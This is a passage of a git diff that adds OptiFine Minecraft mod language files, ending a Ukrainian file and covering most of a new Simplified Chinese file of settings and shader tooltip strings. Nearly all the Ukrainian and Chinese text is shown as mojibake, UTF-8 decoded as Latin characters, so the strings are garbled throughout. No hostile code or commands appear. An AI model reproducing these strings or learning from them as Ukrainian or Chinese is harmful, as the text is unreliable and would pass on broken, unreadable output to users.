+options.fullscreen.tooltip.2= Увімк - викориÑтовувати повноекранний режим +options.fullscreen.tooltip.3= Вимк - не викориÑтовувати повноекранний режим +options.fullscreen.tooltip.4=Ð’ залежноÑÑ‚Ñ– від відеокарти, може +options.fullscreen.tooltip.5=покращити продуктивніÑÑ‚ÑŒ. + +of.options.FULLSCREEN_MODE=Роздільна здатніÑÑ‚ÑŒ +of.options.FULLSCREEN_MODE.tooltip.1=Роздільна здатніÑÑ‚ÑŒ +of.options.FULLSCREEN_MODE.tooltip.2= Стандартна - викориÑтовувати роздільну здатніÑÑ‚ÑŒ монітора, повільніше +of.options.FULLSCREEN_MODE.tooltip.3= WxH - викориÑтовувати влаÑну роздільну ÑкіÑÑ‚ÑŒ, може бути швидше +of.options.FULLSCREEN_MODE.tooltip.4=Обрана ÑкіÑÑ‚ÑŒ буде викориÑтовуватиÑÑŒ в повноекранному режимі (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Ðайнижча ÑкіÑÑ‚ÑŒ завжди швидша. + +of.options.SHOW_FPS=Показувати FPS +of.options.SHOW_FPS.tooltip.1=Показує компактно FPS Ñ– інформацію про рендер +of.options.SHOW_FPS.tooltip.2= Fps - Ñередній/мінімальний +of.options.SHOW_FPS.tooltip.3= C: - чанків відображаєтьÑÑ +of.options.SHOW_FPS.tooltip.4= E: - ÑутноÑтей в рендері + блоковано ÑутноÑтей +of.options.SHOW_FPS.tooltip.5= U: - чанків оновлюєтьÑÑ +of.options.SHOW_FPS.tooltip.6=Компактне FPS показуєтьÑÑ Ð»Ð¸Ñˆ коли +of.options.SHOW_FPS.tooltip.7=екран відладки вимкнено. + +of.options.save.45s=45Ñ +of.options.save.90s=90Ñ +of.options.save.3min=3хв +of.options.save.6min=6хв +of.options.save.12min=12хв +of.options.save.24min=24хв + +of.options.AUTOSAVE_TICKS=ÐÐ²Ñ‚Ð¾Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ +of.options.AUTOSAVE_TICKS.tooltip.1=Інтервал Ð°Ð²Ñ‚Ð¾Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ +of.options.AUTOSAVE_TICKS.tooltip.2=Стандартний інтервал Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ - 45Ñ. +of.options.AUTOSAVE_TICKS.tooltip.3=ÐÐ²Ñ‚Ð¾Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ Ð¼Ð¾Ð¶Ðµ ÑпричинÑти Ð·Ð°Ð²Ð¼Ð¸Ñ€Ð°Ð½Ð½Ñ Ð³Ñ€Ð¸. +of.options.AUTOSAVE_TICKS.tooltip.4=Гра також зберігатиметьÑÑ ÐºÐ¾Ð»Ð¸ відкрито меню. + +of.options.SCREENSHOT_SIZE=Розмір знімку екрану +of.options.SCREENSHOT_SIZE.tooltip.1=Розмір Ñкріншоту +of.options.SCREENSHOT_SIZE.tooltip.2= Стандартний - Ñтандартний розмір Ñкріншоту +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - влаÑний розмір Ñкріншоту +of.options.SCREENSHOT_SIZE.tooltip.4=Ð—Ð½Ñ–Ð¼Ð°Ð½Ð½Ñ Ð±Ñ–Ð»ÑŒÑˆÐ¾Ð³Ð¾ Ñкріншоту потребує більше пам'ÑÑ‚Ñ– +of.options.SCREENSHOT_SIZE.tooltip.5=Ðе ÑуміÑне зі швидким рендером Ñ– згладжуваннÑм +of.options.SCREENSHOT_SIZE.tooltip.6=Потребує підтримку фреймбуфера GPU. + +of.options.SHOW_GL_ERRORS=Показувати помилки OpenGL +of.options.SHOW_GL_ERRORS.tooltip.1=Показувати помилки OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Коли увімкнено, помилки OpenGL будуть надÑилатиÑÑŒ у чат. +of.options.SHOW_GL_ERRORS.tooltip.3=Вимикайте це лише Ñкщо ви ТОЧÐО впевнені що цю +of.options.SHOW_GL_ERRORS.tooltip.4=помилку неможливо виправити. +of.options.SHOW_GL_ERRORS.tooltip.5=Коли вимкнено, помилки продовжать зберігатиÑÑŒ у журналах +of.options.SHOW_GL_ERRORS.tooltip.6=Ñ– вони можуть викликати різке Ð¿Ð°Ð´Ñ–Ð½Ð½Ñ FPS. + +# ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‡Ð°Ñ‚Ñƒ + +of.options.CHAT_BACKGROUND=Фон чату +of.options.CHAT_BACKGROUND.tooltip.1=Фон чату +of.options.CHAT_BACKGROUND.tooltip.2= Стандартний - зафікÑована виÑота +of.options.CHAT_BACKGROUND.tooltip.3= Компактний - відповідає виÑоті Ñ€Ñдків +of.options.CHAT_BACKGROUND.tooltip.4= Вимк. - прихований + +of.options.CHAT_SHADOW=Тінь чату +of.options.CHAT_SHADOW.tooltip.1=Тінь чату +of.options.CHAT_SHADOW.tooltip.2= Увімк. - викориÑтовувати тінь чату +of.options.CHAT_SHADOW.tooltip.3= Вимк. - вимкнути тінь чату diff --git a/src/assets/minecraft/optifine/lang/zh_cn.lang b/src/assets/minecraft/optifine/lang/zh_cn.lang new file mode 100644 index 00000000..704e9eac --- /dev/null +++ b/src/assets/minecraft/optifine/lang/zh_cn.lang @@ -0,0 +1,772 @@ +# Contributors of Chinese localization # +# HeartyYF From InfinityStudio 2016-2-18 ---- 2019-10-6 +# xwjcool123 From Minecraft Bar 2018-5-20 ---- 2018-6-16 +# xuyu_staryG(gxy17886) From InfinityStudio 2016-1-18 ---- 2016-1-19 +# hukk From MCBBS 2013-7-13 ---- 2016-11-9 +# shengjing1 From MCBBS 2012-11-20 ---- 2013-4-20 + +# 一些约定:英文或数字å‰åŽä»¥ç©ºæ ¼åŒºåˆ†ï¼Œé™¤éžä¸Žå…¨è§’标点直接相连;中文间标点用全角,数字或英文间标点用åŠè§’+空格; +# 凡是æŸä¸ªé€‰é¡¹åŽçš„“较快â€â€œè¾ƒæ…¢â€â€œé»˜è®¤â€ä¸€å¾‹ä»¥æ‹¬å·æ ‡è®°ï¼Œä¸è®ºåŽŸè¯­è¨€æ–‡ä»¶æ˜¯æ‹¬å·è¿˜æ˜¯é€—å·ï¼›è‹¥é»˜è®¤å’Œè¾ƒå¿«è¾ƒæ…¢ä¹‹ç±»å¹¶åˆ—,将默认放于选项首,å¦åˆ™æ”¾äºŽé€‰é¡¹å°¾ã€‚ +# 这些约定ä¸å¿…é¡»éµå®ˆï¼Œæˆ‘åªæ˜¯è®¤ä¸ºè¿™æ ·èƒ½å¢žå¼ºå¯è¯»æ€§ã€‚具体示例å‚è§ä¸‹æ–‡ã€‚ + +# General +of.general.ambiguous=模糊 +of.general.compact=紧凑 +of.general.custom=自定义 +of.general.from=æ¥è‡ª +of.general.id=Id +of.general.max=最大化 +of.general.restart=é‡å¯æ¸¸æˆ +of.general.smart=智能 + +# Keys +of.key.zoom=缩放 + +# Message +of.message.aa.shaders1=抗锯齿与光影ä¸å…¼å®¹ã€‚ +of.message.aa.shaders2=请关闭光影以å¯ç”¨æ­¤é€‰é¡¹ã€‚ + +of.message.af.shaders1=å„å‘异性过滤与光影ä¸å…¼å®¹ã€‚ +of.message.af.shaders2=请关闭光影以å¯ç”¨æ­¤é€‰é¡¹ã€‚ + +of.message.fr.shaders1=快速渲染与光影ä¸å…¼å®¹ã€‚ +of.message.fr.shaders2=请关闭光影以å¯ç”¨æ­¤é€‰é¡¹ã€‚ + +of.message.an.shaders1=3D效果与光影ä¸å…¼å®¹ã€‚ +of.message.an.shaders2=请关闭光影以å¯ç”¨æ­¤é€‰é¡¹ã€‚ + +of.message.shaders.aa1=光影与抗锯齿ä¸å…¼å®¹ã€‚ +of.message.shaders.aa2=请将 å“è´¨ -> 抗锯齿 选项设置为 关闭 并é‡å¯æ‚¨çš„游æˆã€‚ + +of.message.shaders.af1=光影与å„å‘异性过滤ä¸å…¼å®¹ã€‚ +of.message.shaders.af2=请将 å“è´¨ -> å„å‘异性过滤 选项设置为 关闭。 + +of.message.shaders.fr1=光影与快速渲染ä¸å…¼å®¹ã€‚ +of.message.shaders.fr2=请将 性能 -> 快速渲染 选项设置为 关闭。 + +of.message.shaders.an1=光影与3D效果ä¸å…¼å®¹ã€‚ +of.message.shaders.an2=请将 其他 -> 3D效果 选项设置为 关闭。 + +of.message.shaders.nv1=此光影需è¦æ›´æ–°çš„OptiFine版本:%s +of.message.shaders.nv2=确认è¦ç»§ç»­å—? + +of.message.newVersion=新的§eOptiFine§f版本现已å¯ç”¨ï¼šÂ§e%s§f +of.message.java64Bit=您å¯ä»¥å®‰è£…§e64ä½Java§fæ¥æå‡æ€§èƒ½ã€‚ +of.message.openglError=§eOpenGL错误§f:%s(%s) + +of.message.shaders.loading=加载光影:%s + +of.message.other.reset=确定è¦é‡ç½®æ‰€æœ‰è§†é¢‘设置为默认值å—? + +of.message.loadingVisibleChunks=正在加载å¯è§åŒºå— + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine 披风... + +of.options.capeOF.title=OptiFine 披风 +of.options.capeOF.openEditor=打开披风编辑器 +of.options.capeOF.reloadCape=é‡æ–°åŠ è½½æŠ«é£Ž +of.options.capeOF.copyEditorLink=å¤åˆ¶é“¾æŽ¥è‡³å‰ªè´´æ¿ + +of.message.capeOF.openEditor=OptiFine 披风编辑器会在网页æµè§ˆå™¨ä¸­æ‰“开。 +of.message.capeOF.openEditorError=在网页æµè§ˆå™¨ä¸­æ‰“开编辑器时出现错误。 +of.message.capeOF.reloadCape=披风将在 15 秒内é‡æ–°åŠ è½½ã€‚ + +of.message.capeOF.error1=Mojang 身份验è¯å¤±è´¥ã€‚ +of.message.capeOF.error2=错误:%s + +# Video settings + +options.graphics.tooltip.1=图åƒå“è´¨ +options.graphics.tooltip.2= æµç•… - 低å“质(较快) +options.graphics.tooltip.3= 高å“è´¨ - 高å“质(较慢) +options.graphics.tooltip.4=改å˜äº‘ã€æ ‘å¶ã€æ°´ã€ +options.graphics.tooltip.5=阴影和è‰åœ°çš„外观。 + +of.options.renderDistance.tiny=最近 +of.options.renderDistance.short=è¿‘ +of.options.renderDistance.normal=中等 +of.options.renderDistance.far=è¿œ +of.options.renderDistance.extreme=æžè¿œ +of.options.renderDistance.insane=疯狂 +of.options.renderDistance.ludicrous=è’å” + +options.renderDistance.tooltip.1=能è§åº¦ +options.renderDistance.tooltip.2= 2 最近 - 32m(最快) +options.renderDistance.tooltip.3= 8 中等 - 128m(正常) +options.renderDistance.tooltip.4= 16 è¿œ - 256m(较慢) +options.renderDistance.tooltip.5= 32 æžè¿œ - 512m(最慢ï¼ï¼‰éžå¸¸æ¶ˆè€—资æºï¼ +options.renderDistance.tooltip.6= 48 疯狂 - 768m,需è¦2Gçš„å†…å­˜åˆ†é… +options.renderDistance.tooltip.7= 64 è’å” - 1024m,需è¦3Gçš„å†…å­˜åˆ†é… +options.renderDistance.tooltip.8=超过 16 的能è§åº¦å€¼åªåœ¨æœ¬åœ°ä¸–界有效。 + +options.ao.tooltip.1=平滑光照 +options.ao.tooltip.2= 关闭 - ç¦ç”¨å¹³æ»‘光照(较快) +options.ao.tooltip.3= æœ€å° - 简å•æµç•…的平滑光照(较慢) +options.ao.tooltip.4= 最大 - å¤æ‚柔和的平滑光照(最慢) + +options.framerateLimit.tooltip.1=最大帧率 +options.framerateLimit.tooltip.2= åž‚ç›´åŒæ­¥ - é™åˆ¶ä¸ºæ˜¾ç¤ºå™¨å¸§çŽ‡ï¼ˆ60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - å¯å˜ +options.framerateLimit.tooltip.4= æ— é™åˆ¶ - æ— é™åˆ¶ï¼ˆæœ€å¿«ï¼‰ +options.framerateLimit.tooltip.5=帧率é™åˆ¶å°†é™ä½Ž FPS, +options.framerateLimit.tooltip.6=å³ä½¿å…¶æœªè¾¾åˆ°ä¸Šé™å€¼ã€‚ +of.options.framerateLimit.vsync=åž‚ç›´åŒæ­¥ + +of.options.AO_LEVEL=平滑光照级别 +of.options.AO_LEVEL.tooltip.1=平滑光照级别 +of.options.AO_LEVEL.tooltip.2= 关闭 - ä¸äº§ç”Ÿé˜´å½± +of.options.AO_LEVEL.tooltip.3= 50%% - 较浅的阴影 +of.options.AO_LEVEL.tooltip.4= 100%% - 较深的阴影 + +options.viewBobbing.tooltip.1=更真实的è¿åŠ¨ã€‚ +options.viewBobbing.tooltip.2=当使用多级纹ç†è´´å›¾ï¼ˆmipmap)时,关闭此选项以å–得最佳效果。 + +options.guiScale.tooltip.1=ç•Œé¢å°ºå¯¸ +options.guiScale.tooltip.2= 自动 - 最大尺寸 +options.guiScale.tooltip.3= å°ï¼Œä¸­ï¼Œå¤§ - 1x 到 3x +options.guiScale.tooltip.4= 4x 到 10x - 在 4K 分辨率下å¯ç”¨ +options.guiScale.tooltip.5=奇数值(1x, 3x, 5x之类)与 Unicode ä¸å…¼å®¹ã€‚ +options.guiScale.tooltip.6=较å°çš„ç•Œé¢æˆ–许会更快。 + +options.vbo=å¯ç”¨é¡¶ç‚¹ç¼“冲器 +options.vbo.tooltip.1=顶点缓冲区对象 +options.vbo.tooltip.2=使用一ç§æ›¿é€‰çš„渲染模å¼ï¼Œé€šå¸¸ +options.vbo.tooltip.3=å¯ä»¥æ¯”默认渲染快(5-10%%)。 + +options.gamma.tooltip.1=增加较暗物体的亮度 +options.gamma.tooltip.2= 标准 - 标准亮度 +options.gamma.tooltip.3= 1-99%% - å¯å˜äº®åº¦ +options.gamma.tooltip.4= 明亮 - 最大亮度 +options.gamma.tooltip.5=此选项ä¸ä¼šæ”¹å˜ +options.gamma.tooltip.6=完全黑色的物体的亮度。 + +options.anaglyph.tooltip.1=3D效果 +options.anaglyph.tooltip.2=通过为åŒçœ¼åˆ†é…ä¸åŒé¢œè‰² +options.anaglyph.tooltip.3=以实现 3D 立体效果。 +options.anaglyph.tooltip.4=需è¦ä½¿ç”¨çº¢è“眼镜正常观看。 + +options.attackIndicator.tooltip.1=é…置攻击指示器的ä½ç½® +options.attackIndicator.tooltip.2= å字准线 - 在å字准线下 +options.attackIndicator.tooltip.3= å¿«æ·æ  - å¿«æ·æ æ— +options.attackIndicator.tooltip.4= 关闭 - 无攻击指示器 +options.attackIndicator.tooltip.5=攻击指示器显示 +options.attackIndicator.tooltip.6=当å‰æ‰€æŒç‰©å“的攻击力 + +of.options.ALTERNATE_BLOCKS=æ›¿é€‰æ–¹å— +of.options.ALTERNATE_BLOCKS.tooltip.1=æ›¿é€‰æ–¹å— +of.options.ALTERNATE_BLOCKS.tooltip.2=为一些方å—使用备选的方å—模型。 +of.options.ALTERNATE_BLOCKS.tooltip.3=å–决于所选的资æºåŒ…。 + +of.options.FOG_FANCY=迷雾 +of.options.FOG_FANCY.tooltip.1=迷雾类型 +of.options.FOG_FANCY.tooltip.2= æµç•… - 较æµç•…的迷雾 +of.options.FOG_FANCY.tooltip.3= 高å“è´¨ - 较慢的迷雾(质é‡æ›´ä½³ï¼‰ +of.options.FOG_FANCY.tooltip.4= 关闭 - 无迷雾(最快) +of.options.FOG_FANCY.tooltip.5=高å“质的迷雾åªåœ¨ +of.options.FOG_FANCY.tooltip.6=显å¡æ”¯æŒä¸‹å¯ç”¨ã€‚ + +of.options.FOG_START=迷雾起始ä½ç½® +of.options.FOG_START.tooltip.1=迷雾起始ä½ç½® +of.options.FOG_START.tooltip.2= 0.2 - 迷雾起始于玩家周围 +of.options.FOG_START.tooltip.3= 0.8 - 迷雾起始于离玩家较远的地方 +of.options.FOG_START.tooltip.4=此选项通常ä¸ä¼šå½±å“性能。 + +of.options.CHUNK_LOADING=区å—加载 +of.options.CHUNK_LOADING.tooltip.1=区å—加载 +of.options.CHUNK_LOADING.tooltip.2= 默认 - 当加载区å—æ—¶ FPS ä¸ç¨³å®š +of.options.CHUNK_LOADING.tooltip.3= 平滑 - 稳定 FPS +of.options.CHUNK_LOADING.tooltip.4= 多核心 - 稳定 FPS ,3å€çš„世界加载速度 +of.options.CHUNK_LOADING.tooltip.5=平滑和多核心å¯æ¶ˆé™¤ç”±åŒºå— +of.options.CHUNK_LOADING.tooltip.6=加载引起的延迟和å¡é¡¿ã€‚ +of.options.CHUNK_LOADING.tooltip.7=多核心å¯ä»¥ä»¤ä¸–界加载速度æå‡3å€ +of.options.CHUNK_LOADING.tooltip.8=并通过使用多个 CPU 核心æ¥æå‡ FPS。 +of.options.chunkLoading.smooth=平滑 +of.options.chunkLoading.multiCore=多核心 + +of.options.shaders=光影... +of.options.shadersTitle=光影 + +of.options.shaders.packNone=关闭 +of.options.shaders.packDefault=(内置) + +of.options.shaders.ANTIALIASING=抗锯齿 +of.options.shaders.ANTIALIASING.tooltip.1=抗锯齿 +of.options.shaders.ANTIALIASING.tooltip.2= 关闭 - (默认)ç¦ç”¨æŠ—锯齿(较快) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - 对线和边缘抗锯齿处ç†ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.shaders.ANTIALIASING.tooltip.4=FXAA 是一ç§ä½¿é”¯é½¿çŠ¶çº¿æ¡çº¿å’Œé²œæ˜Žçš„色彩过渡 +of.options.shaders.ANTIALIASING.tooltip.5=更为平滑的åŽå¤„ç†ç‰¹æ•ˆã€‚ +of.options.shaders.ANTIALIASING.tooltip.6=它ä¸ä»…快于传统的抗锯齿处ç†ï¼Œ +of.options.shaders.ANTIALIASING.tooltip.7=åŒæ—¶ä¹Ÿä¸Žå…‰å½±å’Œå¿«é€Ÿæ¸²æŸ“兼容。 + +of.options.shaders.NORMAL_MAP=法线贴图 +of.options.shaders.NORMAL_MAP.tooltip.1=法线贴图 +of.options.shaders.NORMAL_MAP.tooltip.2= å¼€å¯ - (默认)å¯ç”¨æ³•çº¿è´´å›¾ +of.options.shaders.NORMAL_MAP.tooltip.3= 关闭 - ç¦ç”¨æ³•çº¿è´´å›¾ +of.options.shaders.NORMAL_MAP.tooltip.4=光影包å¯ä»¥ä½¿ç”¨æ³•çº¿è´´å›¾ +of.options.shaders.NORMAL_MAP.tooltip.5=以在模型的平é¢è¡¨é¢å†…模拟三维几何结构。 +of.options.shaders.NORMAL_MAP.tooltip.6=法线贴图æ质一般由 +of.options.shaders.NORMAL_MAP.tooltip.7=当å‰çš„资æºåŒ…æ供。 + +of.options.shaders.SPECULAR_MAP=高光贴图 +of.options.shaders.SPECULAR_MAP.tooltip.1=高光贴图 +of.options.shaders.SPECULAR_MAP.tooltip.2= å¼€å¯ - (默认)å¯ç”¨é«˜å…‰è´´å›¾ +of.options.shaders.SPECULAR_MAP.tooltip.3= 关闭 - ç¦ç”¨é«˜å…‰è´´å›¾ +of.options.shaders.SPECULAR_MAP.tooltip.4=光影包å¯ä»¥ä½¿ç”¨é«˜å…‰è´´å›¾ +of.options.shaders.SPECULAR_MAP.tooltip.5=以模拟特殊的å射效果。 +of.options.shaders.SPECULAR_MAP.tooltip.6=高光贴图æ质一般由 +of.options.shaders.SPECULAR_MAP.tooltip.7=当å‰çš„资æºåŒ…æ供。 + +of.options.shaders.RENDER_RES_MUL=渲染精细度 +of.options.shaders.RENDER_RES_MUL.tooltip.1=渲染精细度 +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - 低(最快) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - 标准(默认) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - 高(最慢) +of.options.shaders.RENDER_RES_MUL.tooltip.5=渲染精细度控制 +of.options.shaders.RENDER_RES_MUL.tooltip.6=光影包当å‰æ¸²æŸ“çš„æ质大å°ã€‚ +of.options.shaders.RENDER_RES_MUL.tooltip.7=较低的值或许利于4K显示。 +of.options.shaders.RENDER_RES_MUL.tooltip.8=较高的值将以抗锯齿滤镜的形å¼å·¥ä½œã€‚ + +of.options.shaders.SHADOW_RES_MUL=阴影精细度 +of.options.shaders.SHADOW_RES_MUL.tooltip.1=阴影精细度 +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - 低(最快) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - 标准(默认) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - 高(最慢) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=阴影精细度控制 +of.options.shaders.SHADOW_RES_MUL.tooltip.6=光影包使用的阴影映射贴图大å°ã€‚ +of.options.shaders.SHADOW_RES_MUL.tooltip.7=较低的值 = ä¸ç²¾ç¡®çš„ã€ç²—糙的阴影。 +of.options.shaders.SHADOW_RES_MUL.tooltip.8=较高的值 = 细致的ã€æ›´ä½³çš„阴影。 + +of.options.shaders.HAND_DEPTH_MUL=手部景深 +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=手部景深 +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - 手与镜头相è·è¾ƒè¿‘ +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (默认) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - 手与镜头相è·è¾ƒè¿œ +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=手部景深控制 +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=手æŒçš„物å“与镜头相è·çš„è·ç¦»ã€‚ +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=对于使用模糊景深的光影包, +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=此选项应当会改å˜æ‰‹æŒç‰©å“的模糊程度。 + +of.options.shaders.CLOUD_SHADOW=云朵阴影 + +of.options.shaders.OLD_HAND_LIGHT=ç»å…¸æ‰‹æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=ç»å…¸æ‰‹æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= 默认 - 光影包控制 +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= å¼€å¯ - 使用ç»å…¸æ‰‹æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= 关闭 - 使用新å¼æ‰‹æŒå…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=ç»å…¸æ‰‹æŒå…‰æºå…许åªèƒ½è¾¨åˆ« +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=主手中å‘光物å“的光影包 +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=对于å¦ä¸€åªæ‰‹ä¹Ÿèƒ½å·¥ä½œã€‚ + +of.options.shaders.OLD_LIGHTING=ç»å…¸å…‰æ•ˆ +of.options.shaders.OLD_LIGHTING.tooltip.1=ç»å…¸å…‰æ•ˆ +of.options.shaders.OLD_LIGHTING.tooltip.2= 默认 - 光影包控制 +of.options.shaders.OLD_LIGHTING.tooltip.3= å¼€å¯ - 使用ç»å…¸å…‰æ•ˆ +of.options.shaders.OLD_LIGHTING.tooltip.4= 关闭 - ä¸ä½¿ç”¨ç»å…¸å…‰æ•ˆ +of.options.shaders.OLD_LIGHTING.tooltip.5=使用ç»å…¸å…‰æ•ˆæ—¶åˆ™é‡‡ç”¨åŽŸç‰ˆçš„固定照明。 +of.options.shaders.OLD_LIGHTING.tooltip.6=在这ç§æƒ…况下,方å—å„é¢çš„照明会始终如一。 +of.options.shaders.OLD_LIGHTING.tooltip.7=使用阴影的光影包通常会æä¾› +of.options.shaders.OLD_LIGHTING.tooltip.8=更好的ã€å–决于太阳ä½ç½®çš„照明。 + +of.options.shaders.DOWNLOAD=光影下载 +of.options.shaders.DOWNLOAD.tooltip.1=下载光影 +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=在æµè§ˆå™¨ä¸­æ‰“开光影包页é¢ã€‚ +of.options.shaders.DOWNLOAD.tooltip.4=将已下载完æˆçš„光影置于光影文件夹中, +of.options.shaders.DOWNLOAD.tooltip.5=它们将出现在已安装的光影列表里。 + +of.options.shaders.SHADER_PACK=光影包文件夹 + +of.options.shaders.shadersFolder=光影包文件夹 +of.options.shaders.shaderOptions=光影设置... + +of.options.shaderOptionsTitle=光影设置 + +of.options.quality=å“è´¨... +of.options.qualityTitle=å“质设置 + +of.options.details=细节... +of.options.detailsTitle=细节设置 + +of.options.performance=性能... +of.options.performanceTitle=性能设置 + +of.options.animations=动画... +of.options.animationsTitle=动画设置 + +of.options.other=其他... +of.options.otherTitle=其他设置 + +of.options.other.reset=é‡ç½®è§†é¢‘设置... + +of.shaders.profile=é…置文件 + +# Quality + +of.options.mipmap.bilinear=åŒçº¿æ€§ +of.options.mipmap.linear=线性 +of.options.mipmap.nearest=邻近 +of.options.mipmap.trilinear=三线性 + +options.mipmapLevels.tooltip.1=通过平滑æ质细节,使远处的 +options.mipmapLevels.tooltip.2=物体获得更好的视觉效果。 +options.mipmapLevels.tooltip.3= 关闭 - 无平滑 +options.mipmapLevels.tooltip.4= 1 - 最å°å¹³æ»‘ +options.mipmapLevels.tooltip.5= 最大化 - 最大平滑 +options.mipmapLevels.tooltip.6=此选项通常ä¸ä¼šå½±å“性能。 + +of.options.MIPMAP_TYPE=多级纹ç†ï¼ˆmipmap)类型 +of.options.MIPMAP_TYPE.tooltip.1=通过平滑æ质细节,使远处的 +of.options.MIPMAP_TYPE.tooltip.2=物体获得更好的视觉效果。 +of.options.MIPMAP_TYPE.tooltip.3= 邻近 - 粗略平滑(最快) +of.options.MIPMAP_TYPE.tooltip.4= 线性 - 正常平滑 +of.options.MIPMAP_TYPE.tooltip.5= åŒçº¿æ€§ - 精细平滑 +of.options.MIPMAP_TYPE.tooltip.6= 三线性 - æžè‡´å¹³æ»‘(最慢) + + +of.options.AA_LEVEL=抗锯齿 +of.options.AA_LEVEL.tooltip.1=抗锯齿 +of.options.AA_LEVEL.tooltip.2= 关闭 - (默认)ç¦ç”¨æŠ—锯齿(较快) +of.options.AA_LEVEL.tooltip.3= 2-16 - 对线æ¡å’Œè¾¹ç¼˜è¿›è¡ŒæŠ—锯齿处ç†ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.AA_LEVEL.tooltip.4=æŠ—é”¯é½¿å¯¹é”¯é½¿çŠ¶çš„çº¿æ¡ +of.options.AA_LEVEL.tooltip.5=和鲜明的色彩过渡进行平滑处ç†ã€‚ +of.options.AA_LEVEL.tooltip.6=å¯ç”¨å®ƒå¯èƒ½ä¼šå¤§å¹…é™ä½Ž FPS。 +of.options.AA_LEVEL.tooltip.7=并éžæ‰€æœ‰çº§åˆ«éƒ½è¢«æ˜¾å¡æ”¯æŒã€‚ +of.options.AA_LEVEL.tooltip.8=é‡å¯åŽç”Ÿæ•ˆï¼ + +of.options.AF_LEVEL=å„å‘异性过滤 +of.options.AF_LEVEL.tooltip.1=å„å‘异性过滤 +of.options.AF_LEVEL.tooltip.2= 关闭 - (默认)标准æ质细节(较快) +of.options.AF_LEVEL.tooltip.3= 2-16 - 还原多级纹ç†(mipmap)处ç†åŽçš„的细节(较慢) +of.options.AF_LEVEL.tooltip.4=å„å‘异性过滤还原了ç»å¤šçº§ +of.options.AF_LEVEL.tooltip.5=纹ç†è¿‡æ»¤åŽçš„æ质细节。 +of.options.AF_LEVEL.tooltip.6=å¯ç”¨å®ƒå¯èƒ½ä¼šå¤§å¹…é™ä½Ž FPS。 + +of.options.CLEAR_WATER=清澈水体 +of.options.CLEAR_WATER.tooltip.1=清澈水体 +of.options.CLEAR_WATER.tooltip.2= å¼€å¯ - 清澈ã€é€æ˜Žæ°´ä½“ +of.options.CLEAR_WATER.tooltip.3= 关闭 - 默认水体 + +of.options.RANDOM_ENTITIES=éšæœºå®žä½“æè´¨ +of.options.RANDOM_ENTITIES.tooltip.1=éšæœºå®žä½“æè´¨ +of.options.RANDOM_ENTITIES.tooltip.2= 关闭 - 关闭éšæœºå®žä½“æ质(较快) +of.options.RANDOM_ENTITIES.tooltip.3= å¼€å¯ - éšæœºå®žä½“æ质(较慢) +of.options.RANDOM_ENTITIES.tooltip.4=游æˆä¸­çš„实体使用éšæœºçš„相应贴图。 +of.options.RANDOM_ENTITIES.tooltip.5=需è¦èµ„æºåŒ…内有多个实体贴图。 + +of.options.BETTER_GRASS=更好的è‰åœ° +of.options.BETTER_GRASS.tooltip.1=更好的è‰åœ° +of.options.BETTER_GRASS.tooltip.2= 关闭 - 默认è‰åœ°æ质(最快) +of.options.BETTER_GRASS.tooltip.3= æµç•… - è‰æ–¹å—侧é¢å…¨éƒ¨ä½¿ç”¨è‰åœ°æ质(较慢) +of.options.BETTER_GRASS.tooltip.4= 高å“è´¨ - è‰æ–¹å—侧é¢æ质动æ€åŒ–(最慢) + +of.options.BETTER_SNOW=更好的雪地 +of.options.BETTER_SNOW.tooltip.1=更好的雪地 +of.options.BETTER_SNOW.tooltip.2= 关闭 - 默认的雪地(较快) +of.options.BETTER_SNOW.tooltip.3= å¼€å¯ - 更好的雪地(较慢) +of.options.BETTER_SNOW.tooltip.4=在与雪接壤的“é€æ˜Žæ–¹å—†+of.options.BETTER_SNOW.tooltip.5=(如栅æ ã€é«˜è‰ï¼‰ä¸‹æ˜¾ç¤ºé›ªã€‚ + +of.options.CUSTOM_FONTS=自定义字体 +of.options.CUSTOM_FONTS.tooltip.1=自定义字体 +of.options.CUSTOM_FONTS.tooltip.2= å¼€å¯ - (默认)使用自定义字体(较慢) +of.options.CUSTOM_FONTS.tooltip.3= 关闭 - 使用默认字体(较快) +of.options.CUSTOM_FONTS.tooltip.4=自定义字体一般由 +of.options.CUSTOM_FONTS.tooltip.5=当å‰çš„资æºåŒ…æ供。 + +of.options.CUSTOM_COLORS=自定义色彩 +of.options.CUSTOM_COLORS.tooltip.1=自定义色彩 +of.options.CUSTOM_COLORS.tooltip.2= å¼€å¯ - (默认)使用自定义色彩(较慢) +of.options.CUSTOM_COLORS.tooltip.3= 关闭 